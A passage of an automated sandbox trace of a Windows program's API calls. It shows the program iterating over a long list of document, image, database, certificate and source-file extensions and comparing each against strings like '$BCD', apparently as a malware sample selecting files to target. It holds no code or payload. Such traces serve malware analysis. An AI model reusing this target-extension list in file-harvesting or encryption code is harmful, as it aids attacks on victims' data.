lstrlenW (lpString=".adp") returned 4 [0089.047] lstrcmpiW (lpString1=".adp", lpString2="$BCD") returned 1 [0089.047] lstrlenW (lpString=".ai") returned 3 [0089.047] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0089.047] lstrlenW (lpString=".ai3") returned 4 [0089.047] lstrcmpiW (lpString1=".ai3", lpString2="$BCD") returned 1 [0089.047] lstrlenW (lpString=".ai4") returned 4 [0089.048] lstrcmpiW (lpString1=".ai4", lpString2="$BCD") returned 1 [0089.048] lstrlenW (lpString=".ai5") returned 4 [0089.048] lstrcmpiW (lpString1=".ai5", lpString2="$BCD") returned 1 [0089.048] lstrlenW (lpString=".ai6") returned 4 [0089.048] lstrcmpiW (lpString1=".ai6", lpString2="$BCD") returned 1 [0089.048] lstrlenW (lpString=".ai7") returned 4 [0089.048] lstrcmpiW (lpString1=".ai7", lpString2="$BCD") returned 1 [0089.048] lstrlenW (lpString=".ai8") returned 4 [0089.048] lstrcmpiW (lpString1=".ai8", lpString2="$BCD") returned 1 [0089.048] lstrlenW (lpString=".anim") returned 5 [0089.048] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0089.048] lstrlenW (lpString=".arw") returned 4 [0089.048] lstrcmpiW (lpString1=".arw", lpString2="$BCD") returned 1 [0089.048] lstrlenW (lpString=".as") returned 3 [0089.048] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0089.048] lstrlenW (lpString=".asa") returned 4 [0089.048] lstrcmpiW (lpString1=".asa", lpString2="$BCD") returned 1 [0089.048] lstrlenW (lpString=".asc") returned 4 [0089.048] lstrcmpiW (lpString1=".asc", lpString2="$BCD") returned 1 [0089.048] lstrlenW (lpString=".ascx") returned 5 [0089.048] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0089.048] lstrlenW (lpString=".asm") returned 4 [0089.048] lstrcmpiW (lpString1=".asm", lpString2="$BCD") returned 1 [0089.048] lstrlenW (lpString=".asmx") returned 5 [0089.048] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0089.048] lstrlenW (lpString=".asp") returned 4 [0089.048] lstrcmpiW (lpString1=".asp", lpString2="$BCD") returned 1 [0089.048] lstrlenW (lpString=".aspx") returned 5 [0089.049] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0089.049] lstrlenW (lpString=".asr") returned 4 [0089.049] lstrcmpiW (lpString1=".asr", lpString2="$BCD") returned 1 [0089.049] lstrlenW (lpString=".asx") returned 4 [0089.049] lstrcmpiW (lpString1=".asx", lpString2="$BCD") returned 1 [0089.049] lstrlenW (lpString=".avi") returned 4 [0089.049] lstrcmpiW (lpString1=".avi", lpString2="$BCD") returned 1 [0089.049] lstrlenW (lpString=".avs") returned 4 [0089.049] lstrcmpiW (lpString1=".avs", lpString2="$BCD") returned 1 [0089.049] lstrlenW (lpString=".backup") returned 7 [0089.049] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0089.049] lstrlenW (lpString=".bak") returned 4 [0089.049] lstrcmpiW (lpString1=".bak", lpString2="$BCD") returned 1 [0089.049] lstrlenW (lpString=".bay") returned 4 [0089.049] lstrcmpiW (lpString1=".bay", lpString2="$BCD") returned 1 [0089.049] lstrlenW (lpString=".bd") returned 3 [0089.049] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0089.049] lstrlenW (lpString=".bin") returned 4 [0089.049] lstrcmpiW (lpString1=".bin", lpString2="$BCD") returned 1 [0089.049] lstrlenW (lpString=".bmp") returned 4 [0089.049] lstrcmpiW (lpString1=".bmp", lpString2="$BCD") returned 1 [0089.049] lstrlenW (lpString=".bz2") returned 4 [0089.049] lstrcmpiW (lpString1=".bz2", lpString2="$BCD") returned 1 [0089.049] lstrlenW (lpString=".c") returned 2 [0089.049] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0089.049] lstrlenW (lpString=".cdr") returned 4 [0089.050] lstrcmpiW (lpString1=".cdr", lpString2="$BCD") returned 1 [0089.050] lstrlenW (lpString=".cer") returned 4 [0089.050] lstrcmpiW (lpString1=".cer", lpString2="$BCD") returned 1 [0089.050] lstrlenW (lpString=".cf") returned 3 [0089.050] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0089.050] lstrlenW (lpString=".cfc") returned 4 [0089.050] lstrcmpiW (lpString1=".cfc", lpString2="$BCD") returned 1 [0089.050] lstrlenW (lpString=".cfm") returned 4 [0089.050] lstrcmpiW (lpString1=".cfm", lpString2="$BCD") returned 1 [0089.050] lstrlenW (lpString=".cfml") returned 5 [0089.050] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0089.050] lstrlenW (lpString=".cfu") returned 4 [0089.050] lstrcmpiW (lpString1=".cfu", lpString2="$BCD") returned 1 [0089.050] lstrlenW (lpString=".chm") returned 4 [0089.050] lstrcmpiW (lpString1=".chm", lpString2="$BCD") returned 1 [0089.050] lstrlenW (lpString=".cin") returned 4 [0089.050] lstrcmpiW (lpString1=".cin", lpString2="$BCD") returned 1 [0089.050] lstrlenW (lpString=".class") returned 6 [0089.050] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0089.050] lstrlenW (lpString=".clx") returned 4 [0089.050] lstrcmpiW (lpString1=".clx", lpString2="$BCD") returned 1 [0089.050] lstrlenW (lpString=".config") returned 7 [0089.050] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0089.050] lstrlenW (lpString=".cpp") returned 4 [0089.050] lstrcmpiW (lpString1=".cpp", lpString2="$BCD") returned 1 [0089.051] lstrlenW (lpString=".cr2") returned 4 [0089.051] lstrcmpiW (lpString1=".cr2", lpString2="$BCD") returned 1 [0089.051] lstrlenW (lpString=".crt") returned 4 [0089.051] lstrcmpiW (lpString1=".crt", lpString2="$BCD") returned 1 [0089.051] lstrlenW (lpString=".crw") returned 4 [0089.051] lstrcmpiW (lpString1=".crw", lpString2="$BCD") returned 1 [0089.051] lstrlenW (lpString=".cs") returned 3 [0089.051] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0089.051] lstrlenW (lpString=".css") returned 4 [0089.051] lstrcmpiW (lpString1=".css", lpString2="$BCD") returned 1 [0089.051] lstrlenW (lpString=".csv") returned 4 [0089.051] lstrcmpiW (lpString1=".csv", lpString2="$BCD") returned 1 [0089.051] lstrlenW (lpString=".cub") returned 4 [0089.051] lstrcmpiW (lpString1=".cub", lpString2="$BCD") returned 1 [0089.051] lstrlenW (lpString=".dae") returned 4 [0089.051] lstrcmpiW (lpString1=".dae", lpString2="$BCD") returned 1 [0089.051] lstrlenW (lpString=".dat") returned 4 [0089.051] lstrcmpiW (lpString1=".dat", lpString2="$BCD") returned 1 [0089.051] lstrlenW (lpString=".db") returned 3 [0089.051] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0089.051] lstrlenW (lpString=".dbf") returned 4 [0089.051] lstrcmpiW (lpString1=".dbf", lpString2="$BCD") returned 1 [0089.051] lstrlenW (lpString=".dbx") returned 4 [0089.051] lstrcmpiW (lpString1=".dbx", lpString2="$BCD") returned 1 [0089.051] lstrlenW (lpString=".dc3") returned 4 [0089.051] lstrcmpiW (lpString1=".dc3", lpString2="$BCD") returned 1 [0089.052] lstrlenW (lpString=".dcm") returned 4 [0089.052] lstrcmpiW (lpString1=".dcm", lpString2="$BCD") returned 1 [0089.052] lstrlenW (lpString=".dcr") returned 4 [0089.052] lstrcmpiW (lpString1=".dcr", lpString2="$BCD") returned 1 [0089.052] lstrlenW (lpString=".der") returned 4 [0089.052] lstrcmpiW (lpString1=".der", lpString2="$BCD") returned 1 [0089.052] lstrlenW (lpString=".dib") returned 4 [0089.052] lstrcmpiW (lpString1=".dib", lpString2="$BCD") returned 1 [0089.052] lstrlenW (lpString=".dic") returned 4 [0089.052] lstrcmpiW (lpString1=".dic", lpString2="$BCD") returned 1 [0089.052] lstrlenW (lpString=".dif") returned 4 [0089.052] lstrcmpiW (lpString1=".dif", lpString2="$BCD") returned 1 [0089.052] lstrlenW (lpString=".divx") returned 5 [0089.052] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0089.052] lstrlenW (lpString=".djvu") returned 5 [0089.052] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0089.052] lstrlenW (lpString=".dng") returned 4 [0089.052] lstrcmpiW (lpString1=".dng", lpString2="$BCD") returned 1 [0089.052] lstrlenW (lpString=".doc") returned 4 [0089.052] lstrcmpiW (lpString1=".doc", lpString2="$BCD") returned 1 [0089.052] lstrlenW (lpString=".docm") returned 5 [0089.052] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0089.052] lstrlenW (lpString=".docx") returned 5 [0089.052] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0089.052] lstrlenW (lpString=".dot") returned 4 [0089.052] lstrcmpiW (lpString1=".dot", lpString2="$BCD") returned 1 [0089.052] lstrlenW (lpString=".dotm") returned 5 [0089.053] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0089.053] lstrlenW (lpString=".dotx") returned 5 [0089.053] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0089.053] lstrlenW (lpString=".dpx") returned 4 [0089.053] lstrcmpiW (lpString1=".dpx", lpString2="$BCD") returned 1 [0089.053] lstrlenW (lpString=".dqy") returned 4 [0089.053] lstrcmpiW (lpString1=".dqy", lpString2="$BCD") returned 1 [0089.053] lstrlenW (lpString=".dsn") returned 4 [0089.053] lstrcmpiW (lpString1=".dsn", lpString2="$BCD") returned 1 [0089.053] lstrlenW (lpString=".dt") returned 3 [0089.053] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0089.053] lstrlenW (lpString=".dtd") returned 4 [0089.053] lstrcmpiW (lpString1=".dtd", lpString2="$BCD") returned 1 [0089.053] lstrlenW (lpString=".dwg") returned 4 [0089.053] lstrcmpiW (lpString1=".dwg", lpString2="$BCD") returned 1 [0089.054] lstrlenW (lpString=".dwt") returned 4 [0089.054] lstrcmpiW (lpString1=".dwt", lpString2="$BCD") returned 1 [0089.054] lstrlenW (lpString=".dx") returned 3 [0089.054] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0089.054] lstrlenW (lpString=".dxf") returned 4 [0089.054] lstrcmpiW (lpString1=".dxf", lpString2="$BCD") returned 1 [0089.054] lstrlenW (lpString=".edml") returned 5 [0089.054] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0089.054] lstrlenW (lpString=".efd") returned 4 [0089.054] lstrcmpiW (lpString1=".efd", lpString2="$BCD") returned 1 [0089.054] lstrlenW (lpString=".elf") returned 4 [0089.054] lstrcmpiW (lpString1=".elf", lpString2="$BCD") returned 1 [0089.054] lstrlenW (lpString=".emf") returned 4 [0089.054] lstrcmpiW (lpString1=".emf", lpString2="$BCD") returned 1 [0089.054] lstrlenW (lpString=".emz") returned 4 [0089.054] lstrcmpiW (lpString1=".emz", lpString2="$BCD") returned 1 [0089.054] lstrlenW (lpString=".epf") returned 4 [0089.054] lstrcmpiW (lpString1=".epf", lpString2="$BCD") returned 1 [0089.054] lstrlenW (lpString=".eps") returned 4 [0089.054] lstrcmpiW (lpString1=".eps", lpString2="$BCD") returned 1 [0089.054] lstrlenW (lpString=".epsf") returned 5 [0089.054] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0089.054] lstrlenW (lpString=".epsp") returned 5 [0089.054] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0089.054] lstrlenW (lpString=".erf") returned 4 [0089.055] lstrcmpiW (lpString1=".erf", lpString2="$BCD") returned 1 [0089.055] lstrlenW (lpString=".exr") returned 4 [0089.055] lstrcmpiW (lpString1=".exr", lpString2="$BCD") returned 1 [0089.055] lstrlenW (lpString=".f4v") returned 4 [0089.055] lstrcmpiW (lpString1=".f4v", lpString2="$BCD") returned 1 [0089.055] lstrlenW (lpString=".fido") returned 5 [0089.055] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0089.055] lstrlenW (lpString=".flm") returned 4 [0089.055] lstrcmpiW (lpString1=".flm", lpString2="$BCD") returned 1 [0089.055] lstrlenW (lpString=".flv") returned 4 [0089.055] lstrcmpiW (lpString1=".flv", lpString2="$BCD") returned 1 [0089.055] lstrlenW (lpString=".frm") returned 4 [0089.055] lstrcmpiW (lpString1=".frm", lpString2="$BCD") returned 1 [0089.055] lstrlenW (lpString=".fxg") returned 4 [0089.055] lstrcmpiW (lpString1=".fxg", lpString2="$BCD") returned 1 [0089.055] lstrlenW (lpString=".geo") returned 4 [0089.055] lstrcmpiW (lpString1=".geo", lpString2="$BCD") returned 1 [0089.055] lstrlenW (lpString=".gif") returned 4 [0089.055] lstrcmpiW (lpString1=".gif", lpString2="$BCD") returned 1 [0089.055] lstrlenW (lpString=".grs") returned 4 [0089.055] lstrcmpiW (lpString1=".grs", lpString2="$BCD") returned 1 [0089.055] lstrlenW (lpString=".gz") returned 3 [0089.055] lstrcmpiW (lpString1=".gz", lpString2="BCD") returned -1 [0089.055] lstrlenW (lpString=".h") returned 2 [0089.055] lstrcmpiW (lpString1=".h", lpString2="CD") returned -1 [0089.055] lstrlenW (lpString=".hdr") returned 4 [0089.056] lstrcmpiW (lpString1=".hdr", lpString2="$BCD") returned 1 [0089.056] lstrlenW (lpString=".hpp") returned 4 [0089.056] lstrcmpiW (lpString1=".hpp", lpString2="$BCD") returned 1 [0089.056] lstrlenW (lpString=".hta") returned 4 [0089.056] lstrcmpiW (lpString1=".hta", lpString2="$BCD") returned 1 [0089.056] lstrlenW (lpString=".htc") returned 4 [0089.056] lstrcmpiW (lpString1=".htc", lpString2="$BCD") returned 1 [0089.056] lstrlenW (lpString=".htm") returned 4 [0089.056] lstrcmpiW (lpString1=".htm", lpString2="$BCD") returned 1 [0089.056] lstrlenW (lpString=".html") returned 5 [0089.056] lstrcmpiW (lpString1=".html", lpString2="") returned 1 [0089.056] lstrlenW (lpString=".icb") returned 4 [0089.056] lstrcmpiW (lpString1=".icb", lpString2="$BCD") returned 1 [0089.056] lstrlenW (lpString=".ics") returned 4 [0089.056] lstrcmpiW (lpString1=".ics", lpString2="$BCD") returned 1 [0089.056] lstrlenW (lpString=".iff") returned 4 [0089.056] lstrcmpiW (lpString1=".iff", lpString2="$BCD") returned 1 [0089.056] lstrlenW (lpString=".inc") returned 4 [0089.056] lstrcmpiW (lpString1=".inc", lpString2="$BCD") returned 1 [0089.056] lstrlenW (lpString=".indd") returned 5 [0089.056] lstrcmpiW (lpString1=".indd", lpString2="") returned 1 [0089.056] lstrlenW (lpString=".ini") returned 4 [0089.056] lstrcmpiW (lpString1=".ini", lpString2="$BCD") returned 1 [0089.056] lstrlenW (lpString=".iqy") returned 4 [0089.056] lstrcmpiW (lpString1=".iqy", lpString2="$BCD") returned 1 [0089.057] lstrlenW (lpString=".j2c") returned 4 [0089.057] lstrcmpiW (lpString1=".j2c", lpString2="$BCD") returned 1 [0089.057] lstrlenW (lpString=".j2k") returned 4 [0089.057] lstrcmpiW (lpString1=".j2k", lpString2="$BCD") returned 1 [0089.057] lstrlenW (lpString=".java") returned 5 [0089.057] lstrcmpiW (lpString1=".java", lpString2="") returned 1 [0089.057] lstrlenW (lpString=".jp2") returned 4 [0089.057] lstrcmpiW (lpString1=".jp2", lpString2="$BCD") returned 1 [0089.057] lstrlenW (lpString=".jpc") returned 4 [0089.057] lstrcmpiW (lpString1=".jpc", lpString2="$BCD") returned 1 [0089.057] lstrlenW (lpString=".jpe") returned 4 [0089.057] lstrcmpiW (lpString1=".jpe", lpString2="$BCD") returned 1 [0089.057] lstrlenW (lpString=".jpeg") returned 5 [0089.057] lstrcmpiW (lpString1=".jpeg", lpString2="") returned 1 [0089.057] lstrlenW (lpString=".jpf") returned 4 [0089.057] lstrcmpiW (lpString1=".jpf", lpString2="$BCD") returned 1 [0089.057] lstrlenW (lpString=".jpg") returned 4 [0089.057] lstrcmpiW (lpString1=".jpg", lpString2="$BCD") returned 1 [0089.057] lstrlenW (lpString=".jpx") returned 4 [0089.057] lstrcmpiW (lpString1=".jpx", lpString2="$BCD") returned 1 [0089.057] lstrlenW (lpString=".js") returned 3 [0089.057] lstrcmpiW (lpString1=".js", lpString2="BCD") returned -1 [0089.057] lstrlenW (lpString=".jsf") returned 4 [0089.057] lstrcmpiW (lpString1=".jsf", lpString2="$BCD") returned 1 [0089.057] lstrlenW (lpString=".json") returned 5 [0089.057] lstrcmpiW (lpString1=".json", lpString2="") returned 1 [0089.058] lstrlenW (lpString=".jsp") returned 4 [0089.058] lstrcmpiW (lpString1=".jsp", lpString2="$BCD") returned 1 [0089.058] lstrlenW (lpString=".kdc") returned 4 [0089.058] lstrcmpiW (lpString1=".kdc", lpString2="$BCD") returned 1 [0089.058] lstrlenW (lpString=".kmz") returned 4 [0089.058] lstrcmpiW (lpString1=".kmz", lpString2="$BCD") returned 1 [0089.058] lstrlenW (lpString=".kwm") returned 4 [0089.058] lstrcmpiW (lpString1=".kwm", lpString2="$BCD") returned 1 [0089.058] lstrlenW (lpString=".lasso") returned 6 [0089.058] lstrcmpiW (lpString1=".lasso", lpString2="") returned 1 [0089.058] lstrlenW (lpString=".lbi") returned 4 [0089.058] lstrcmpiW (lpString1=".lbi", lpString2="$BCD") returned 1 [0089.058] lstrlenW (lpString=".lgf") returned 4 [0089.058] lstrcmpiW (lpString1=".lgf", lpString2="$BCD") returned 1 [0089.058] lstrlenW (lpString=".lgp") returned 4 [0089.058] lstrcmpiW (lpString1=".lgp", lpString2="$BCD") returned 1 [0089.058] lstrlenW (lpString=".log") returned 4 [0089.058] lstrcmpiW (lpString1=".log", lpString2="$BCD") returned 1 [0089.058] lstrlenW (lpString=".m1v") returned 4 [0089.058] lstrcmpiW (lpString1=".m1v", lpString2="$BCD") returned 1 [0089.058] lstrlenW (lpString=".m4a") returned 4 [0089.058] lstrcmpiW (lpString1=".m4a", lpString2="$BCD") returned 1 [0089.058] lstrlenW (lpString=".m4v") returned 4 [0089.058] lstrcmpiW (lpString1=".m4v", lpString2="$BCD") returned 1 [0089.058] lstrlenW (lpString=".max") returned 4 [0089.058] lstrcmpiW (lpString1=".max", lpString2="$BCD") returned 1 [0089.058] lstrlenW (lpString=".md") returned 3 [0089.059] lstrcmpiW (lpString1=".md", lpString2="BCD") returned -1 [0089.059] lstrlenW (lpString=".mda") returned 4 [0089.059] lstrcmpiW (lpString1=".mda", lpString2="$BCD") returned 1 [0089.059] lstrlenW (lpString=".mdb") returned 4 [0089.059] lstrcmpiW (lpString1=".mdb", lpString2="$BCD") returned 1 [0089.059] lstrlenW (lpString=".mde") returned 4 [0089.059] lstrcmpiW (lpString1=".mde", lpString2="$BCD") returned 1 [0089.059] lstrlenW (lpString=".mdf") returned 4 [0089.059] lstrcmpiW (lpString1=".mdf", lpString2="$BCD") returned 1 [0089.059] lstrlenW (lpString=".mdw") returned 4 [0089.059] lstrcmpiW (lpString1=".mdw", lpString2="$BCD") returned 1 [0089.059] lstrlenW (lpString=".mef") returned 4 [0089.059] lstrcmpiW (lpString1=".mef", lpString2="$BCD") returned 1 [0089.059] lstrlenW (lpString=".mft") returned 4 [0089.059] lstrcmpiW (lpString1=".mft", lpString2="$BCD") returned 1 [0089.059] lstrlenW (lpString=".mfw") returned 4 [0089.059] lstrcmpiW (lpString1=".mfw", lpString2="$BCD") returned 1 [0089.059] lstrlenW (lpString=".mht") returned 4 [0089.059] lstrcmpiW (lpString1=".mht", lpString2="$BCD") returned 1 [0089.059] lstrlenW (lpString=".mhtml") returned 6 [0089.059] lstrcmpiW (lpString1=".mhtml", lpString2="") returned 1 [0089.059] lstrlenW (lpString=".mka") returned 4 [0089.059] lstrcmpiW (lpString1=".mka", lpString2="$BCD") returned 1 [0089.059] lstrlenW (lpString=".mkidx") returned 6 [0089.059] lstrcmpiW (lpString1=".mkidx", lpString2="") returned 1 [0089.060] lstrlenW (lpString=".mkv") returned 4 [0089.060] lstrcmpiW (lpString1=".mkv", lpString2="$BCD") returned 1 [0089.060] lstrlenW (lpString=".mos") returned 4 [0089.060] lstrcmpiW (lpString1=".mos", lpString2="$BCD") returned 1 [0089.060] lstrlenW (lpString=".mov") returned 4 [0089.060] lstrcmpiW (lpString1=".mov", lpString2="$BCD") returned 1 [0089.060] lstrlenW (lpString=".mp3") returned 4 [0089.060] lstrcmpiW (lpString1=".mp3", lpString2="$BCD") returned 1 [0089.060] lstrlenW (lpString=".mp4") returned 4 [0089.060] lstrcmpiW (lpString1=".mp4", lpString2="$BCD") returned 1 [0089.060] lstrlenW (lpString=".mpeg") returned 5 [0089.060] lstrcmpiW (lpString1=".mpeg", lpString2="") returned 1 [0089.060] lstrlenW (lpString=".mpg") returned 4 [0089.060] lstrcmpiW (lpString1=".mpg", lpString2="$BCD") returned 1 [0089.060] lstrlenW (lpString=".mpv") returned 4 [0089.060] lstrcmpiW (lpString1=".mpv", lpString2="$BCD") returned 1 [0089.060] lstrlenW (lpString=".mrw") returned 4 [0089.060] lstrcmpiW (lpString1=".mrw", lpString2="$BCD") returned 1 [0089.060] lstrlenW (lpString=".msg") returned 4 [0089.060] lstrcmpiW (lpString1=".msg", lpString2="$BCD") returned 1 [0089.060] lstrlenW (lpString=".mxl") returned 4 [0089.060] lstrcmpiW (lpString1=".mxl", lpString2="$BCD") returned 1 [0089.060] lstrlenW (lpString=".myd") returned 4 [0089.060] lstrcmpiW (lpString1=".myd", lpString2="$BCD") returned 1 [0089.060] lstrlenW (lpString=".myi") returned 4 [0089.060] lstrcmpiW (lpString1=".myi", lpString2="$BCD") returned 1 [0089.060] lstrlenW (lpString=".nef") returned 4 [0089.061] lstrcmpiW (lpString1=".nef", lpString2="$BCD") returned 1 [0089.061] lstrlenW (lpString=".nrw") returned 4 [0089.061] lstrcmpiW (lpString1=".nrw", lpString2="$BCD") returned 1 [0089.061] lstrlenW (lpString=".obj") returned 4 [0089.061] lstrcmpiW (lpString1=".obj", lpString2="$BCD") returned 1 [0089.061] lstrlenW (lpString=".odb") returned 4 [0089.061] lstrcmpiW (lpString1=".odb", lpString2="$BCD") returned 1 [0089.061] lstrlenW (lpString=".odc") returned 4 [0089.061] lstrcmpiW (lpString1=".odc", lpString2="$BCD") returned 1 [0089.061] lstrlenW (lpString=".odm") returned 4 [0089.061] lstrcmpiW (lpString1=".odm", lpString2="$BCD") returned 1 [0089.061] lstrlenW (lpString=".odp") returned 4 [0089.061] lstrcmpiW (lpString1=".odp", lpString2="$BCD") returned 1 [0089.061] lstrlenW (lpString=".ods") returned 4 [0089.061] lstrcmpiW (lpString1=".ods", lpString2="$BCD") returned 1 [0089.061] lstrlenW (lpString=".oft") returned 4 [0089.061] lstrcmpiW (lpString1=".oft", lpString2="$BCD") returned 1 [0089.061] lstrlenW (lpString=".one") returned 4 [0089.061] lstrcmpiW (lpString1=".one", lpString2="$BCD") returned 1 [0089.061] lstrlenW (lpString=".onepkg") returned 7 [0089.061] lstrcmpiW (lpString1=".onepkg", lpString2="") returned 1 [0089.061] lstrlenW (lpString=".onetoc2") returned 8 [0089.061] lstrcmpiW (lpString1=".onetoc2", lpString2="") returned 1 [0089.061] lstrlenW (lpString=".opt") returned 4 [0089.061] lstrcmpiW (lpString1=".opt", lpString2="$BCD") returned 1 [0089.061] lstrlenW (lpString=".oqy") returned 4 [0089.062] lstrcmpiW (lpString1=".oqy", lpString2="$BCD") returned 1 [0089.062] lstrlenW (lpString=".orf") returned 4 [0089.062] lstrcmpiW (lpString1=".orf", lpString2="$BCD") returned 1 [0089.062] lstrlenW (lpString=".p12") returned 4 [0089.062] lstrcmpiW (lpString1=".p12", lpString2="$BCD") returned 1 [0089.062] lstrlenW (lpString=".p7b") returned 4 [0089.062] lstrcmpiW (lpString1=".p7b", lpString2="$BCD") returned 1 [0089.062] lstrlenW (lpString=".p7c") returned 4 [0089.062] lstrcmpiW (lpString1=".p7c", lpString2="$BCD") returned 1 [0089.062] lstrlenW (lpString=".pam") returned 4 [0089.062] lstrcmpiW (lpString1=".pam", lpString2="$BCD") returned 1 [0089.062] lstrlenW (lpString=".pbm") returned 4 [0089.062] lstrcmpiW (lpString1=".pbm", lpString2="$BCD") returned 1 [0089.062] lstrlenW (lpString=".pct") returned 4 [0089.062] lstrcmpiW (lpString1=".pct", lpString2="$BCD") returned 1 [0089.062] lstrlenW (lpString=".pcx") returned 4 [0089.062] lstrcmpiW (lpString1=".pcx", lpString2="$BCD") returned 1 [0089.062] lstrlenW (lpString=".pdd") returned 4 [0089.062] lstrcmpiW (lpString1=".pdd", lpString2="$BCD") returned 1 [0089.062] lstrlenW (lpString=".pdf") returned 4 [0089.062] lstrcmpiW (lpString1=".pdf", lpString2="$BCD") returned 1 [0089.062] lstrlenW (lpString=".pdp") returned 4 [0089.062] lstrcmpiW (lpString1=".pdp", lpString2="$BCD") returned 1 [0089.062] lstrlenW (lpString=".pef") returned 4 [0089.062] lstrcmpiW (lpString1=".pef", lpString2="$BCD") returned 1 [0089.063] lstrlenW (lpString=".pem") returned 4 [0089.063] lstrcmpiW (lpString1=".pem", lpString2="$BCD") returned 1 [0089.063] lstrlenW (lpString=".pff") returned 4 [0089.063] lstrcmpiW (lpString1=".pff", lpString2="$BCD") returned 1 [0089.063] lstrlenW (lpString=".pfm") returned 4 [0089.063] lstrcmpiW (lpString1=".pfm", lpString2="$BCD") returned 1 [0089.063] lstrlenW (lpString=".pfx") returned 4 [0089.063] lstrcmpiW (lpString1=".pfx", lpString2="$BCD") returned 1 [0089.063] lstrlenW (lpString=".pgm") returned 4 [0089.063] lstrcmpiW (lpString1=".pgm", lpString2="$BCD") returned 1 [0089.063] lstrlenW (lpString=".php") returned 4 [0089.063] lstrcmpiW (lpString1=".php", lpString2="$BCD") returned 1 [0089.063] lstrlenW (lpString=".php3") returned 5 [0089.063] lstrcmpiW (lpString1=".php3", lpString2="") returned 1 [0089.063] lstrlenW (lpString=".php4") returned 5 [0089.063] lstrcmpiW (lpString1=".php4", lpString2="") returned 1 [0089.063] lstrlenW (lpString=".php5") returned 5 [0089.063] lstrcmpiW (lpString1=".php5", lpString2="") returned 1 [0089.063] lstrlenW (lpString=".phtml") returned 6 [0089.063] lstrcmpiW (lpString1=".phtml", lpString2="") returned 1 [0089.063] lstrlenW (lpString=".pict") returned 5 [0089.063] lstrcmpiW (lpString1=".pict", lpString2="") returned 1 [0089.063] lstrlenW (lpString=".pl") returned 3 [0089.063] lstrcmpiW (lpString1=".pl", lpString2="BCD") returned -1 [0089.063] lstrlenW (lpString=".pls") returned 4 [0089.063] lstrcmpiW (lpString1=".pls", lpString2="$BCD") returned 1 [0089.063] lstrlenW (lpString=".pm") returned 3 [0089.064] lstrcmpiW (lpString1=".pm", lpString2="BCD") returned -1 [0089.064] lstrlenW (lpString=".png") returned 4 [0089.064] lstrcmpiW (lpString1=".png", lpString2="$BCD") returned 1 [0089.064] lstrlenW (lpString=".pnm") returned 4 [0089.064] lstrcmpiW (lpString1=".pnm", lpString2="$BCD") returned 1 [0089.064] lstrlenW (lpString=".pot") returned 4 [0089.064] lstrcmpiW (lpString1=".pot", lpString2="$BCD") returned 1 [0089.064] lstrlenW (lpString=".potm") returned 5 [0089.064] lstrcmpiW (lpString1=".potm", lpString2="") returned 1 [0089.064] lstrlenW (lpString=".potx") returned 5 [0089.064] lstrcmpiW (lpString1=".potx", lpString2="") returned 1 [0089.064] lstrlenW (lpString=".ppa") returned 4 [0089.064] lstrcmpiW (lpString1=".ppa", lpString2="$BCD") returned 1 [0089.064] lstrlenW (lpString=".ppam") returned 5 [0089.064] lstrcmpiW (lpString1=".ppam", lpString2="") returned 1 [0089.064] lstrlenW (lpString=".ppm") returned 4 [0089.064] lstrcmpiW (lpString1=".ppm", lpString2="$BCD") returned 1 [0089.064] lstrlenW (lpString=".pps") returned 4 [0089.064] lstrcmpiW (lpString1=".pps", lpString2="$BCD") returned 1 [0089.064] lstrlenW (lpString=".ppsm") returned 5 [0089.064] lstrcmpiW (lpString1=".ppsm", lpString2="") returned 1 [0089.064] lstrlenW (lpString=".ppt") returned 4 [0089.064] lstrcmpiW (lpString1=".ppt", lpString2="$BCD") returned 1 [0089.064] lstrlenW (lpString=".pptm") returned 5 [0089.064] lstrcmpiW (lpString1=".pptm", lpString2="") returned 1 [0089.064] lstrlenW (lpString=".pptx") returned 5 [0089.064] lstrcmpiW (lpString1=".pptx", lpString2="") returned 1 [0089.065] lstrlenW (lpString=".prn") returned 4 [0089.065] lstrcmpiW (lpString1=".prn", lpString2="$BCD") returned 1 [0089.065] lstrlenW (lpString=".ps") returned 3 [0089.065] lstrcmpiW (lpString1=".ps", lpString2="BCD") returned -1 [0089.065] lstrlenW (lpString=".psb") returned 4 [0089.065] lstrcmpiW (lpString1=".psb", lpString2="$BCD") returned 1 [0089.065] lstrlenW (lpString=".psd") returned 4 [0089.065] lstrcmpiW (lpString1=".psd", lpString2="$BCD") returned 1 [0089.065] lstrlenW (lpString=".pst") returned 4 [0089.065] lstrcmpiW (lpString1=".pst", lpString2="$BCD") returned 1 [0089.065] lstrlenW (lpString=".ptx") returned 4 [0089.065] lstrcmpiW (lpString1=".ptx", lpString2="$BCD") returned 1 [0089.065] lstrlenW (lpString=".pub") returned 4 [0089.065] lstrcmpiW (lpString1=".pub", lpString2="$BCD") returned 1 [0089.065] lstrlenW (lpString=".pwm") returned 4 [0089.065] lstrcmpiW (lpString1=".pwm", lpString2="$BCD") returned 1 [0089.065] lstrlenW (lpString=".pxr") returned 4 [0089.065] lstrcmpiW (lpString1=".pxr", lpString2="$BCD") returned 1 [0089.065] lstrlenW (lpString=".py") returned 3 [0089.065] lstrcmpiW (lpString1=".py", lpString2="BCD") returned -1 [0089.065] lstrlenW (lpString=".qt") returned 3 [0089.065] lstrcmpiW (lpString1=".qt", 